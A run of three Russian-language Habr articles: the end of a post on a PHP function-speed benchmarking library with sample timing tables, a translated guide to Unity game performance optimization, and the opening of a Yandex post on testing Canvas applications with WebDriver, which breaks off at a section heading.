В итоге общий механизм работы такой. Берутся необходимые для сравнения функции и запускаются на выполнение с разными наборами данных и в разной последовательности. При этом происходит замер времени каждого выполнения и запись результата в хранилище. За данный этап отвечает модель теста (Test). После всех замеров происходит передача результатов в представление данных (DataViwer), где происходит обработка и вывод информации.
### Реализация тестирования
#### Класс теста
Простой пример реализации класса теста, на примере тестирования скорости выполнения операции пред инкрементирования и пост инкрементирования.
**Пример класса теста**
```
class IncPrefVsPos extends TestAbstract
{
public $name = 'Speedy ++i vs i++';
public $valueTest = [100, 1000, 2000, 3000];
public $qntTest = 5;
public $viewers = [TestCore::VIEWER_TLIST, TestCore::VIEWER_TGROUP, TestCore::VIEWER_TAVG, TestCore::VIEWER_GBUBLE];
public $functions = ['postIncrement' => 'testPost', 'prefIncrement' => 'testPref'];
protected $strategy = [['testPost', 'testPref'], ['testPref', 'testPost']];
public function testPref($size)
{
$testCounter = 0;
for($i=0;$i<$size;$i++) {
++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter;
++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter;
++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter;
++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter;
}
}
public function testPost($size)
{
$testCounter = 0;
for($i=0;$i<$size;$i++) {
$testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++;
$testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++;
$testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++;
$testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++;
}
}
}
```
Класс должен наследовать абстрактный класс **TestAbstract**, в котором заложена основная механика работы с потоками данных.
**$name** — задает название теста, которое может быть использовано при выводе в DataViewer.
**$valueTest** — объем выборки тестирования, массив значений, с каждым из которых будет выполнена функция для тестирования. Таким образом каждая тестируемая функция должна обязательно принимать один параметр. Будет он являться числом, строкой или массивом не важно, все зависит от конкретного случая. В нашем примере, достаточно чисел, которые будут обозначать объем проводимых операций с инкрементом.
**$qntTest** — говорит о том, какое количество раз будет протестирован каждый объем выборки.
**$viewers** — массив представлений данных, который будет сформирован при рендере отчета. На самом деле это набор полных имен классов наследующих абстрактный класс ViewrAbstract. Заранее подготовленные вьюверы вынесены в константы класса TestCore.
**$functions** — массив названий функций которые будут использоваться в тестировании. Ключами массива являются названия, которые будут отображены в результатах.
**$strategy** — массив стратегий тестирования, каждая стратегия должна быть представлена массивом с последовательностью имен функций. В примере указано 2 стратегии — прямой последовательности и в обратной.
Непосредственно сами функции, которые как говорилось выше, должны принимать одно значение. В нашем примере, мы считаем это за количество выполняемых операций серии инкрементирования.
В итоге получим, серию тестов где каждая стратегия тестирования будет протестирована по 5 раз с каждым объемом выборки ([100, 1000, 2000, 3000]).
#### Класс представления данных
Сейчас давайте подробнее рассмотрим простой класс представления данных.
**Пример класса представления**
```
class TableList extends ViewerAbstract
{
public $view = 'tableList.php';
public function generateData($data){
return $data;
}
public function run($data)
{
$data = $this->generateData($data);
return App::render('/viewer/'.$this->view, compact('data'));
}
public static function model($class = __CLASS__) {
return parent::model($class);
}
}
```
Класс реализует абстрактный класс **ViewerAbstract**.
**$view** — содержит имя представления, которое поумолчанию должно лежать в папке /views/viewers
**function generateData($data)** — метод обработки массива результатов тестирования. Результат будет передан поумолчанию в параметр data в указанное представление.
**function run($data)** — необязательный для реализации метод, но если необходимо изменить путь к представлению данных, то именно он должен быть переопределен.
**public static function model($class = \_\_CLASS\_\_)** — метод поддержки статического обращения к методам
### Варианты использования
Чтобы воспользоваться функционалом тестирования, создано 2 основных метода.
#### Метод запуска теста
```
function test($test, $params = [], $onlyData = false)
```
**$test** — полное имя запускаемого теста. Могут быть задействованы как свои варианты тестов либо заранее подготовленные.
**$params** — массив параметров для запуска теста. Данным параметром можно точечно изменить параметры тестирования.
**$onlyData** — параметр отвечающий за вывод набора результатов либо отрендеренное представление.
#### Метод сравнения функций
Метод сравнения пользовательских функций без создания дополнительных классов
```
function compare($func = [], $params = [], $onlyData = false)
```
**$func** — массив анонимных функций, где ключи массива являются названиями функций в результатах тестирования.
**$params** — массив параметров тестирования, аналогичен параметрам метода test.
**$onlyData** — также аналогичен параметру метода test, и отвечает за вариант вывода результатов.
#### Примеры работы
Самый простой и быстрый вариант использования — это воспользоваться заранее подготовленным тестом. Все подготовленные тесты вынесены в константы класса Speedy.
```
print Speedy::test(Speedy::PHP_SOF_VS_COUNT);
```
Для сравнения пользовательских функций, необходимо создать анонимные функции и вызвать метод Speedy::compare
**Пример сравнения функций**
```
$pref = function($size)
{
$testCounter = 0;
for($i=0;$i<$size;$i++) {
++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter;
++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter;
++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter;
++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter; ++$testCounter;
}
};
$post = function($size)
{
$testCounter = 0;
for($i=0;$i<$size;$i++) {
$testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++;
$testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++;
$testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++;
$testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++; $testCounter++;
}
};
print \speedy\Speedy::compare(['pref' => $pref, 'post' => $post]);
```
### Результаты тестирования
Результаты тестирования на данный момент могут быть выведены 4мя представлениями.
#### VIEWER\_TLIST
Представление в табличной форме списка всех произведенных замеров времени. По сути это вывод всех записей из хранилища, без каких-либо преобразований. В наборе данных содержится информация о имени тестируемой функции, затраченном времени, объему выборки, используемому объему памяти, номер партии в которой выполнялся тест и комментарий. В комментарии указывается в рамках какой стратегии был выполнен тест данной функции.
**Пример вывода результатов списком в табличной форме**Результат тестирования операторов инкрементирования.
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| name | time | size | memory | part | comment |
| postInc | 0.000650882720947 | 100 | 48 | 2 | postInc-prefInc |
| prefInc | 0.000411987304688 | 100 | 48 | 2 | postInc-prefInc |
| prefInc | 0.000406980514526 | 100 | 48 | 3 | prefInc-postInc |
| postInc | 0.000549077987671 | 100 | 48 | 3 | prefInc-postInc |
| postInc | 0.000330924987793 | 100 | 48 | 5 | postInc-prefInc |
| prefInc | 0.000287055969238 | 100 | 48 | 5 | postInc-prefInc |
| prefInc | 0.00043797492981 | 100 | 48 | 6 | prefInc-postInc |
| postInc | 0.000365018844604 | 100 | 48 | 6 | prefInc-postInc |
| postInc | 0.000295162200928 | 100 | 48 | 8 | postInc-prefInc |
| prefInc | 0.000373125076294 | 100 | 48 | 8 | postInc-prefInc |
| prefInc | 0.000263929367065 | 100 | 48 | 9 | prefInc-postInc |
| postInc | 0.000449895858765 | 100 | 48 | 9 | prefInc-postInc |
| postInc | 0.00030517578125 | 100 | 48 | 11 | postInc-prefInc |
| prefInc | 0.000247955322266 | 100 | 48 | 11 | postInc-prefInc |
| prefInc | 0.000244140625 | 100 | 48 | 12 | prefInc-postInc |
| postInc | 0.000265121459961 | 100 | 48 | 12 | prefInc-postInc |
| postInc | 0.000267028808594 | 100 | 48 | 14 | postInc-prefInc |
| prefInc | 0.000245094299316 | 100 | 48 | 14 | postInc-prefInc |
| prefInc | 0.000285148620605 | 100 | 48 | 15 | prefInc-postInc |
| postInc | 0.000273942947388 | 100 | 48 | 15 | prefInc-postInc |
| postInc | 0.00273203849792 | 1000 | 48 | 17 | postInc-prefInc |
| prefInc | 0.00240206718445 | 1000 | 48 | 17 | postInc-prefInc |
| prefInc | 0.00274896621704 | 1000 | 48 | 18 | prefInc-postInc |
| postInc | 0.00259804725647 | 1000 | 48 | 18 | prefInc-postInc |
| postInc | 0.00391817092896 | 1000 | 48 | 20 | postInc-prefInc |
| prefInc | 0.00303602218628 | 1000 | 48 | 20 | postInc-prefInc |
| prefInc | 0.00229096412659 | 1000 | 48 | 21 | prefInc-postInc |
| postInc | 0.00281691551208 | 1000 | 48 | 21 | prefInc-postInc |
| postInc | 0.00273108482361 | 1000 | 48 | 23 | postInc-prefInc |
| prefInc | 0.00221014022827 | 1000 | 48 | 23 | postInc-prefInc |
| prefInc | 0.00266814231873 | 1000 | 48 | 24 | prefInc-postInc |
| postInc | 0.00307106971741 | 1000 | 48 | 24 | prefInc-postInc |
| postInc | 0.00283098220825 | 1000 | 48 | 26 | postInc-prefInc |
| prefInc | 0.00239992141724 | 1000 | 48 | 26 | postInc-prefInc |
| prefInc | 0.00246214866638 | 1000 | 48 | 27 | prefInc-postInc |
| postInc | 0.00273704528809 | 1000 | 48 | 27 | prefInc-postInc |
| postInc | 0.00283288955688 | 1000 | 48 | 29 | postInc-prefInc |
| prefInc | 0.00229215621948 | 1000 | 48 | 29 | postInc-prefInc |
| prefInc | 0.00220608711243 | 1000 | 48 | 30 | prefInc-postInc |
| postInc | 0.0028657913208 | 1000 | 48 | 30 | prefInc-postInc |
| postInc | 0.00557017326355 | 2000 | 48 | 32 | postInc-prefInc |
| prefInc | 0.0048840045929 | 2000 | 48 | 32 | postInc-prefInc |
| prefInc | 0.00449013710022 | 2000 | 48 | 33 | prefInc-postInc |
| postInc | 0.0064799785614 | 2000 | 48 | 33 | prefInc-postInc |
| postInc | 0.00543594360352 | 2000 | 48 | 35 | postInc-prefInc |
| prefInc | 0.00509881973267 | 2000 | 48 | 35 | postInc-prefInc |
| prefInc | 0.00483298301697 | 2000 | 48 | 36 | prefInc-postInc |
| postInc | 0.00555992126465 | 2000 | 48 | 36 | prefInc-postInc |
| postInc | 0.00516104698181 | 2000 | 48 | 38 | postInc-prefInc |
| prefInc | 0.00512599945068 | 2000 | 48 | 38 | postInc-prefInc |
| prefInc | 0.00484395027161 | 2000 | 48 | 39 | prefInc-postInc |
| postInc | 0.00530505180359 | 2000 | 48 | 39 | prefInc-postInc |
| postInc | 0.00509691238403 | 2000 | 48 | 41 | postInc-prefInc |
| prefInc | 0.00525093078613 | 2000 | 48 | 41 | postInc-prefInc |
| prefInc | 0.00447416305542 | 2000 | 48 | 42 | prefInc-postInc |
| postInc | 0.00536584854126 | 2000 | 48 | 42 | prefInc-postInc |
| postInc | 0.0054669380188 | 2000 | 48 | 44 | postInc-prefInc |
| prefInc | 0.00468182563782 | 2000 | 48 | 44 | postInc-prefInc |
| prefInc | 0.00512504577637 | 2000 | 48 | 45 | prefInc-postInc |
| postInc | 0.00545692443848 | 2000 | 48 | 45 | prefInc-postInc |
| postInc | 0.00782418251038 | 3000 | 48 | 47 | postInc-prefInc |
| prefInc | 0.00726389884949 | 3000 | 48 | 47 | postInc-prefInc |
| prefInc | 0.00674796104431 | 3000 | 48 | 48 | prefInc-postInc |
| postInc | 0.007483959198 | 3000 | 48 | 48 | prefInc-postInc |
| postInc | 0.00781297683716 | 3000 | 48 | 50 | postInc-prefInc |
| prefInc | 0.0069580078125 | 3000 | 48 | 50 | postInc-prefInc |
| prefInc | 0.00711393356323 | 3000 | 48 | 51 | prefInc-postInc |
| postInc | 0.0072808265686 | 3000 | 48 | 51 | prefInc-postInc |
| postInc | 0.00790119171143 | 3000 | 48 | 53 | postInc-prefInc |
| prefInc | 0.00662994384766 | 3000 | 48 | 53 | postInc-prefInc |
| prefInc | 0.00825595855713 | 3000 | 48 | 54 | prefInc-postInc |
| postInc | 0.00739097595215 | 3000 | 48 | 54 | prefInc-postInc |
| postInc | 0.00811100006104 | 3000 | 48 | 56 | postInc-prefInc |
| prefInc | 0.00712990760803 | 3000 | 48 | 56 | postInc-prefInc |
| prefInc | 0.00698399543762 | 3000 | 48 | 57 | prefInc-postInc |
| postInc | 0.00758218765259 | 3000 | 48 | 57 | prefInc-postInc |
| postInc | 0.00795316696167 | 3000 | 48 | 59 | postInc-prefInc |
| prefInc | 0.00725698471069 | 3000 | 48 | 59 | postInc-prefInc |
| prefInc | 0.00684094429016 | 3000 | 48 | 60 | prefInc-postInc |
| postInc | 0.00778198242188 | 3000 | 48 | 60 | prefInc-postInc |
#### VIEWER\_TGROUP
Представление в табличной форме в виде сгруппированных данных по партии тестирования (по номеру прохода по стратегии), т.е. в одной строке окажутся результаты тестирования функций которые проводились в рамках одной стратегии и в рамках одного прохода теста.
В столбцах таблицы будут отображены данные о размере выборки, времени выполнения, проценту скорости от худшего результата, затраченной памяти, комментария и названия функции, которая стала победителем по времени среди текущего прохода. Отдельно хотелось бы пояснить столбец процента. Данное значение высчитывается как процент, на сколько по времени функция опередила выполнение самой медленной функции. Если значение не установлено, значит эта функция по времени выполнения является аутсайдером в проходе.
**Пример вывода сгруппированных результатов в табличной форме**Результат тестирования операторов инкрементирования.
| | | | | |
| --- | --- | --- | --- | --- |
| size | postInc | prefInc | comment | time win |
| time | % | memory | time | % | memory |
| 100 | 0.000650882720947 | | 48 | 0.000411987304688 | 36.7 | 48 | postInc-prefInc | prefInc |
| 100 | 0.000549077987671 | | 48 | 0.000406980514526 | 25.88 | 48 | prefInc-postInc | prefInc |
| 100 | 0.000330924987793 | | 48 | 0.000287055969238 | 13.26 | 48 | postInc-prefInc | prefInc |
| 100 | 0.000365018844604 | 16.66 | 48 | 0.00043797492981 | | 48 | prefInc-postInc | postInc |
| 100 | 0.000295162200928 | 20.89 | 48 | 0.000373125076294 | | 48 | postInc-prefInc | postInc |
| 100 | 0.000449895858765 | | 48 | 0.000263929367065 | 41.34 | 48 | prefInc-postInc | prefInc |
| 100 | 0.00030517578125 | | 48 | 0.000247955322266 | 18.75 | 48 | postInc-prefInc | prefInc |
| 100 | 0.000265121459961 | | 48 | 0.000244140625 | 7.91 | 48 | prefInc-postInc | prefInc |
| 100 | 0.000267028808594 | | 48 | 0.000245094299316 | 8.21 | 48 | postInc-prefInc | prefInc |
| 100 | 0.000273942947388 | 3.93 | 48 | 0.000285148620605 | | 48 | prefInc-postInc | postInc |
| 1000 | 0.00273203849792 | | 48 | 0.00240206718445 | 12.08 | 48 | postInc-prefInc | prefInc |
| 1000 | 0.00259804725647 | 5.49 | 48 | 0.00274896621704 | | 48 | prefInc-postInc | postInc |
| 1000 | 0.00391817092896 | | 48 | 0.00303602218628 | 22.51 | 48 | postInc-prefInc | prefInc |
| 1000 | 0.00281691551208 | | 48 | 0.00229096412659 | 18.67 | 48 | prefInc-postInc | prefInc |
| 1000 | 0.00273108482361 | | 48 | 0.00221014022827 | 19.07 | 48 | postInc-prefInc | prefInc |
| 1000 | 0.00307106971741 | | 48 | 0.00266814231873 | 13.12 | 48 | prefInc-postInc | prefInc |
| 1000 | 0.00283098220825 | | 48 | 0.00239992141724 | 15.23 | 48 | postInc-prefInc | prefInc |
| 1000 | 0.00273704528809 | | 48 | 0.00246214866638 | 10.04 | 48 | prefInc-postInc | prefInc |
| 1000 | 0.00283288955688 | | 48 | 0.00229215621948 | 19.09 | 48 | postInc-prefInc | prefInc |
| 1000 | 0.0028657913208 | | 48 | 0.00220608711243 | 23.02 | 48 | prefInc-postInc | prefInc |
| 2000 | 0.00557017326355 | | 48 | 0.0048840045929 | 12.32 | 48 | postInc-prefInc | prefInc |
| 2000 | 0.0064799785614 | | 48 | 0.00449013710022 | 30.71 | 48 | prefInc-postInc | prefInc |
| 2000 | 0.00543594360352 | | 48 | 0.00509881973267 | 6.2 | 48 | postInc-prefInc | prefInc |
| 2000 | 0.00555992126465 | | 48 | 0.00483298301697 | 13.07 | 48 | prefInc-postInc | prefInc |
| 2000 | 0.00516104698181 | | 48 | 0.00512599945068 | 0.68 | 48 | postInc-prefInc | prefInc |
| 2000 | 0.00530505180359 | | 48 | 0.00484395027161 | 8.69 | 48 | prefInc-postInc | prefInc |
| 2000 | 0.00509691238403 | 2.93 | 48 | 0.00525093078613 | | 48 | postInc-prefInc | postInc |
| 2000 | 0.00536584854126 | | 48 | 0.00447416305542 | 16.62 | 48 | prefInc-postInc | prefInc |
| 2000 | 0.0054669380188 | | 48 | 0.00468182563782 | 14.36 | 48 | postInc-prefInc | prefInc |
| 2000 | 0.00545692443848 | | 48 | 0.00512504577637 | 6.08 | 48 | prefInc-postInc | prefInc |
| 3000 | 0.00782418251038 | | 48 | 0.00726389884949 | 7.16 | 48 | postInc-prefInc | prefInc |
| 3000 | 0.007483959198 | | 48 | 0.00674796104431 | 9.83 | 48 | prefInc-postInc | prefInc |
| 3000 | 0.00781297683716 | | 48 | 0.0069580078125 | 10.94 | 48 | postInc-prefInc | prefInc |
| 3000 | 0.0072808265686 | | 48 | 0.00711393356323 | 2.29 | 48 | prefInc-postInc | prefInc |
| 3000 | 0.00790119171143 | | 48 | 0.00662994384766 | 16.09 | 48 | postInc-prefInc | prefInc |
| 3000 | 0.00739097595215 | 10.48 | 48 | 0.00825595855713 | | 48 | prefInc-postInc | postInc |
| 3000 | 0.00811100006104 | | 48 | 0.00712990760803 | 12.1 | 48 | postInc-prefInc | prefInc |
| 3000 | 0.00758218765259 | | 48 | 0.00698399543762 | 7.89 | 48 | prefInc-postInc | prefInc |
| 3000 | 0.00795316696167 | | 48 | 0.00725698471069 | 8.75 | 48 | postInc-prefInc | prefInc |
| 3000 | 0.00778198242188 | | 48 | 0.00684094429016 | 12.09 | 48 | prefInc-postInc | prefInc |
#### VIEWER\_TAVG
Представление в табличной форме в виде усредненных показателей по размеру выборки, т.е. в одной строке окажутся средние показатели тестирования функций по одной выборке.
В столбцах представлена информация по количеству побед функции в выборке, средний процент времени побед, имя функции-победителя. Функции-победитель — определяется количеством побед в выборке.
**Пример вывода усредненных результатов в табличной форме**Результат тестирования операторов инкрементирования.
| | | | |
| --- | --- | --- | --- |
| size | postInc | prefInc | winner |
| winns | % | winns | % |
| 100 | 3 | 13.83 | 7 | 21.72 | prefInc |
| 1000 | 1 | 5.49 | 9 | 16.98 | prefInc |
| 2000 | 1 | 2.93 | 9 | 12.08 | prefInc |
| 3000 | 1 | 10.48 | 9 | 9.68 | prefInc |
##### VIEWER\_GBUBLE
Представление в графической форме в виде набора точек, каждая из которых соответствует значению времени и объему выборки. Данное представление реализовано при помощи графиков HighCharts.
**Пример вывода результатов в графическом виде**Результат тестирования операторов инкрементирования.
### Итоги
Подытожить хотелось бы тем, что поставленные цели были достигнуты. Но конечно же еще есть над чем поработать. В планах работа над обработкой исключений, добавление возможности смены в настройках набора столбцов а также возможность задавать собственные имена столбцам, увеличение количества тестов. Также хотелось бы добавить возможность удобного тестирования скорости работы с базами данных.
Исходный код проекта можно смотреть [здесь](https://github.com/IIISpikerIII/speedy)
**P.S.**: Данный проект разрабатывается в рамках личного интереса к данной теме и не претендует на место лучшего в своем роде. Буду рад, если кому-то понравится и будет полезен данный труд. Конструктивная критика и советы приветствуются. | https://habr.com/ru/post/308654/ | null | ru | null |
# Практические рекомендации по повышению производительности вашей игры на Unity. Часть 1
***Всем привет. В преддверии старта курса [«Unity Game Developer. Basic»](https://otus.pw/auc5/) подготовили для вас полезный перевод.***
---
### Введение
Когда мы делаем игры, мы часто не уделяем должного внимания одному из самых важных аспектов разработки игры — оптимизации. В результате мы получаем лаги и низкий FPS (иногда даже на High-end устройствах, если все совсем уж запущенно). Большинство людей всегда будет рассматривать оптимизацию игры как последний этап, и именно это является первой ошибкой — она всегда должна быть первым пунктом в списке.
Невозможно переоценить привычку при каждой сборке, каждый день, когда вы добавляете новую механику или новую настройку освещения, или какие угодно системы, основанные на физике, в вашу игры, всегда проверять билд, не возникли ли какие-либо проблемы с производительностью из-за этих изменений — это хорошая практика разработки игр.
Если вы не потратите время на оптимизацию производительности с самого начала работы над проектом, на финальном этапе это может вылиться в проблемы для вас и вашей игры. Здесь я хочу поделиться некоторыми мыслями и советами о том, как вы можете повысить производительность вашей игры, основываясь на нескольких практических выводах, которые я извлек из своих ошибок за последние 5 лет.
### Профилируйте свою игру
Профайлер (Profiler) — первый в списке и один из моих самых любимых инструментов в Unity для мониторинга производительности игры с целью узнать, что на самом деле вызывает проблемы с производительностью. Он очень полезен для получения подробного представления о том, как ваша игра реагирует на различные изменения в редакторе.
*Вы можете найти Profiler в Window->Analysis->Profiler*
Он отображает такие категории, как использование CPU и GPU, рендеринг, физику, аудио и многое другое. Мы не можем полагаться на профилирование в редакторе (Editor Profiling), поскольку редактор влияет на производительность проекта во время тестирования, а это может влиять на достоверность информации профилирования. Для получения точных данных профилирования лучше создавать отдельный билд.
### Удаленное профилирование (Remote profiling)
Чтобы заставить его работать, вам необходимо установить Android SDK и подключить JDK и USB дебаггинг. Помните, что всегда полезно тестировать, как работает ваша игра, когда речь идет о механике, масштабировании пользовательского интерфейса и т. д. Не говоря уже о тестировании реальной производительности в игре вкупе с вышеперечисленным. Чтобы протестировать реальную производительность игры, вам нужно создать специальный билд для профилирования.
*Чтобы подключить Remote Profiler, перейдите в меню Edit > Project Settings > Editor и в разделе Device выберите Any Android Device.*
### Билд для профилирования
Чтобы убедиться, что Unity имеет доступ к вашему билду, который можно профилировать, вы должны включить **“Development build or Deep Profiling Support”** и **“Auto-connect Profiler”** в настройках билда перед его созданием. Это позволяет редактору Unity автоматически подключать ваш билд.
Когда ваша бид будет готов, не закрывая окно Unity Profiler откройте свою игру. Теперь Unity будет автоматически отображать данные о производительности текущего билда игры в окне профайлера.
Узнать о профайлере больше вы можете [здесь](https://docs.unity3d.com/Manual/Profiler.html).
### Батчинг GameObject-ов
Батчинг (Batching, или пакетная обработка) — очень хороший метод повышения производительности за счет сокращения количества вызовов Draw, который представляет из себя группирование рендеринга нескольких похожих GameObject-ов в одном вызове draw. Существует два типа методов батчинга: статический и динамический. Для батчинга существуют некоторые ограничения — мы не можем выполнять пакетную обработку skinned мешей, ткани и некоторых компонентов рендеринга.
### Статический батчинг
Статический батчинг (Static Batching) используется всякий раз, когда GameObject-ы статические. Такие статические GameObject-ы не должны перемещаться, масштабироваться или вращаться, а также должны использовать один и тот же материал для всех статических GameObject-ов, чтобы батчинг работал.
Если ваши GameObject-ы не взаимодействует с вашим Player или если вы не меняете Transform, то лучше всего использовать статический батчинг для большинства вариантов среды в вашей игре, таких как здания, дороги и т. д.
### Динамический батчинг
Динамический батчинг (Dynamic Batching) похож на статический в том, что для GameObject-ов должны использоваться те же материалы, но может группировать движущиеся объекты без необходимости делать их статическими. По сути, Unity может автоматически загружать GameObject-ы в один и тот же вызов отрисовки, если они используют один и тот же материал, но на них накладываются некоторые ограничения динамической пакетной обработки в соответствии с Unity:
1. Пакетная обработка динамических GameObject-ов имеет определенные накладные расходы на каждую вершину, поэтому пакетная обработка применяется только к сеткам, содержащим не более 300 вершин и не более 900 атрибутов вершин.
* Если ваш **Shader** использует Vertex Position, Normal и один UV, вы можете группировать до 300 вершин, но если ваш **Shader** использует Vertex Position, Normal, UV0, UV1 и Tangent, то только 180 вершин.
* : ограничение количества атрибутов может измениться в будущем.
2. GameObject-ы не обрабатываются пакетно, если они содержит зеркальное отражение в transform (например, GameObject A со скейлом +1 и GameObject B со скейлом –1 не могут быть объединены вместе).
3. Использование разных экземпляров Material приводит к тому, что GameObject-ы не объединяется в пакет, даже если они по сути одинаковы. Исключение составляет рендеринг Shadow Caster.
4. Игровые объекты с **картами освещения** имеют дополнительные параметры рендеринга: индекс карты освещения и смещение/скейл в карте освещения. Как правило для пакетной обработки, GameObject-ы с динамической картой освещения должны указывать на одно и то же местоположение карты освещения.
5. Multi-pass шейдеры исключают батчинг.
* Почти все шейдеры Unity поддерживают несколько источников света при **прямом рендеринге**, эффективно выполняя за них дополнительные проходы. Вызовы отрисовки для «дополнительных источников света на пиксель» не группируются.
* У Legacy Deferred (предварительный проход света) пути рендеринга динамический батчинг отключен, потому что он должен отрисовывать GameObject дважды.
Для систем частиц, линий рендеринга и рендеринга трейлов динамический батчинг работает иначе, чем для мешей.
1. Для каждого совместимого типа рендерера Unity собирает весь батч контент в 1 большой Vertex Buffer.
2. Рендерер устанавливает состояние материала для батча.
3. Unity связывает Vertex Buffer с Graphics Device.
4. Для каждого рендерера в батче Unity обновляет смещение в Vertex Buffer, а затем отправляет новый вызов отрисовки.
Есть и другие способы улучшить батчинг, используя некоторые ассеты из Assetstore, такие как Simple Mesh Combine, Bakery, или мы также можем использовать `[Mesh.CombineMeshes](https://docs.unity3d.com/ScriptReference/Mesh.CombineMeshes.html)` для объединения нескольких сеток в одну, что идеально подходит для оптимизации производительности.
### Запекайте ваше освещение
Грубо говоря, есть три режима освещения: Realtime, Baked и Mixed.
Realtime самый лучший, НО за него приходится платить производительностью. Он вносит прямой свет в сцену и обновляет каждый кадр, когда источники света и игровые объекты перемещаются внутри сцены, обновляя освещение немедленно.
Всякий раз, когда у вас есть возможность запечь (bake) освещение на сцене, обязательно используйте ее, потому что это идеальный вариант для повышения производительности, особенно если вы ориентируетесь на мобильные устройства. Всегда лучше использовать небольшое освещение на сцене, чтобы добиться желаемого вида.
Таким образом, все ваши источники света будут предварительно вычисляться в автономном режиме в процессе под названием Lightmap Baking (запекание). Когда вы устанавливаете GameObject Lightmap Static Flag, Unity запекает информацию о GameObject Light, тенях, отраженном свете и мягких тенях в текстурах, которые касаются вашей сцены. Однако Lightmaps имеет некоторые ограничения, освещение не может обновляться динамически для выбранных вами объектов с Lightmap Static Flag.
Несколько месяцев назад в свободное время я сделал SCIFI сцену, и я думаю, что это лучший пример, показывающий, как работает запеченное освещение. Конечно, я использовал Emission.
*Если кого-то интересует обзор создания этой SCIFI сцены, и как я добился этого вида, дайте мне знать, может быть, я мог бы посвятить этому отдельную статью.*
*Вот видео, если вам интересно!*
### Используйте отсечения
Это очень хороший способ повысить производительность вашей игры с помощью окклюзии Unity. В целом Occlusion Culling подразумевает, что Unity не будет отображать GameObject-ы, которые полностью скрыты с точки зрения камеры (окклюдированны) другими GameObject-ами.
*Чтобы открыть окно Occlusion перейдите в Window->Rendering->Occlusion Culling*
*Если кого-нибудь заинтересовало то, как я добился такого вида сцены Mystery Forest, дайте мне знать, возможно, я мог бы написать отдельную статью про это.
Вот видео, если вам интересно!*
[twitter.com/i/status/1096336962259021824](https://twitter.com/i/status/1096336962259021824)
По умолчанию Unity применяет Frustum Culling, что означает, что он отображает только линию обзора камеры, показывая все объекты. Например, если камера смотрит на стену, все объекты за этой стеной также будут визуализированы. Нам это совсем не нужно, поэтому следует добавить в нашу сцену Occlusion Culling.
Вот почему мы должны использовать Occlusion Culling, что означает, что камера будет отображать только стену без объектов за ней.
[](https://otus.pw/auc5/)
> ### Читать ещё:
>
>
>
> * [Простой зомби-шутер на Unity](https://habr.com/ru/company/otus/blog/485210/)
> | https://habr.com/ru/post/519172/ | null | ru | null |
# Тестирование приложений на Canvas: рецепты на примере тестирования API Яндекс.Карт
Несмотря на то, что HTML5 всё ещё находится в процессе разработки, он уже появляется в веб-интерфейсах. Одним из основных нововведений этой версии HTML стал элемент [Canvas](http://en.wikipedia.org/wiki/Canvas_element), который используется для отрисовки двухмерной графики. Например, всё, что вы видите и с чем взаимодействуете в игре [MMORPG](http://browserquest.mozilla.org/) от компании Mozilla или старом-добром [Command and Conquer](http://www.adityaravishankar.com/projects/games/command-and-conquer/), отрисовывается и обрабатывается с помощью Canvas. Самые изощрённые умы даже реализуют [полноценные формы](http://www.lw-zone.org/word/) на Canvas. Или [интерактивную модель солнечной системы](http://libcanvas.github.io/games/solar/).
Фреймворки для работы с этим элементом растут как грибы после дождя; про то, как начать программировать, используя Canvas, написано огромное количество статей. Но есть один пункт, о котором, по-видимому, из-за узкой специфики говорят редко и мало. Речь идёт о тестировании приложений на Canvas. В каком-то смысле оно становится проблемой для инженера по тестированию, который привык обращаться к элементам на странице по их css или xpath селекторам, а затем выполнять с объектом какие-то действия. С Canvas такой подход не работает, ведь DOM элемент один, а объектов в нём — много.
[](http://habrahabr.ru/company/yandex/blog/177163/)
Под катом на примере автоматизации тестирования API Яндекс.Карт я расскажу вам о том, как мы решили эту проблему в Яндексе.
#### Как сейчас тестируются веб-интерфейсы
Инженер анализирует тестируемый сервис и составляет для его страниц [Page Object](https://code.google.com/p/selenium/wiki/PageObjects)'ы (по желанию тестировщика это можно делать с помощью библиотеки [HtmlElements](https://github.com/yandex-qatools/htmlelements)). Если он хочет красивых отчетов, то может воспользоваться фреймворком [Thucydides](http://thucydides.info/). Затем в соответствии с имеющимися тестовыми сценариями пишутся автоматические тесты, использующие [WebDriver API](http://docs.seleniumhq.org/docs/03_webdriver.jsp). То, что получилось, тестировщик запускает на ферме браузеров через [Selenium Grid](http://selenium-grid.seleniumhq.org/) и ищет ошибки, просматривая пришедшие на почту отчёты.
Все просто и красиво, если в тестах не надо взаимодействовать с интерактивной графикой и проверять её. Но что же делать, если надо кликнуть по кругу на карте или перетащить квадрат из одного места в другое? Допустим, мы даже найдём Canvas, но нам нужен конкретный круг. Как кликнуть именно по нему?
Столкнувшись с графикой, мы поняли, что классический подход через Page Object тут не работает. А отказываться от WebDriver не хочется, ведь он дает нам важные бонусы: возможность запускать тесты во всех популярных браузерах или, например, выполнять на странице произвольный код JavaScript (что крайне полезно при тестировании JavaScript API). К тому же, инструмент поддерживается большим сообществом разработчиков.
То есть наш подход должен базироваться на [WebDriver](http://www.seleniumhq.org/projects/webdriver/), но при этом уметь взаимодействовать со всеми элементами на странице, независимо от того, представлены они в DOM дереве документа или нет. Кроме того, мы должны уметь проверить результат нашего взаимодействия и отловить возможные JavaScript ошибки.
#### Взаимодействие с элементами на странице
